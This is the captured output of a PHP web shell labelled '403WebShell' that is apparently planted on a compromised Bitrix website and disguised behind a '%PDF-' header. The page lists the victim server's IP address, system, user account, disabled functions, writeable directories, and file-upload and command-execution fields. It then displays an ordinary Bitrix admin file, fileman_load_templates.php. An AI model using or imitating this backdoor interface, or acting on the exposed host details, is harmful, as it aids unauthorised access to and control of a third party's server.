%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.144.82.26
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/fileman/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/fileman/admin/fileman_load_templates.php
<?
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_admin_before.php");
require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/fileman/prolog.php");

if (!$USER->CanDoOperation('fileman_view_file_structure') && !$USER->CanDoOperation('edit_other_settings'))
	$APPLICATION->AuthForm(GetMessage("ACCESS_DENIED"));

require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/fileman/include.php");

if (isset($_GET['cname']) && isset($_GET['stid']) && isset($_GET['tname']) && isset($_GET['mode']) && $_GET['mode']=='params')
{
	?>
<script>
window.arComp2TemplateProps = [];
<?
	$arCurrentValues = (isset($_POST['curval'])) ? $_POST['curval'] : array();
	$arTemplateProps = CComponentUtil::GetTemplateProps($_GET['cname'], $_GET['tname'], $_GET['stid'], $arCurrentValues);
	foreach ($arTemplateProps as $paramName => $arTemplateProp)
	{
		?>
var tempAr2 = {};
tempAr2.param_name = '<?= CUtil::JSEscape($paramName)?>';
<?
	foreach ($arTemplateProp  as $k => $prop)
	{
		if (is_array($prop))
		{
?>tempAr2.<?= $k;?> = {<?
			echo "\n";
			$f = true;
			foreach ($prop as $k2 => $prop_)
			{
				if (!$f)
					echo",\n";
				else
					$f = false;
				echo '\''.CUtil::JSEscape($k2).'\' : \''.CUtil::JSEscape($prop_).'\'';
			}
			echo "\n";
?>}<?
		}
		else
		{
?>tempAr2.<?= $k;?> = '<?= CUtil::JSEscape($prop)?>';<?
		}
		echo "\n";
	}
?>
window.arComp2TemplateProps.push(tempAr2);
<?
	}
?></script><?
	//__GetTemplateProps($_GET['cname'], $_GET['tname'], $_GET['stid'],$arCurrentValues);
}
else if (isset($_GET['stid']) && isset($_GET['mode']) && $_GET['mode']=='list')
{
?>
<script>
window.arComp2TemplateLists = {};
<?
	$arComponents = (isset($_POST['complist'])) ? CEditorUtils::UnJSEscapeArray($_POST['complist']) : array();
	$len = count($arComponents);
	for ($i = 0; $i < $len; $i++)
	{
		$cName = $arComponents[$i];
		$arTemplates = CComponentUtil::GetTemplatesList($cName, $siteTemplate);
		$tempLen = count($arTemplates);
?>
window.arComp2TemplateLists['<?= CUtil::JSEscape($cName)?>'] = {};
		<?for ($j = 0; $j < $tempLen; $j++):?>

window.arComp2TemplateLists['<?= CUtil::JSEscape($cName)?>']['<?= CUtil::JSEscape($arTemplates[$j]["NAME"])?>'] =
{
	name : '<?= CUtil::JSEscape($arTemplates[$j]["NAME"])?>',
	template : '<?= CUtil::JSEscape($arTemplates[$j]["TEMPLATE"])?>',
	title : '<?= CUtil::JSEscape($arTemplates[$j]["TITLE"])?>',
	description : '<?= CUtil::JSEscape($arTemplates[$j]["DESCRIPTION"])?>'
};
		<?endfor;
	}
	?></script><?
}


require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/epilog_admin_after.php");
?>

Youez - 2016 - github.com/yon3zu
LinuXploit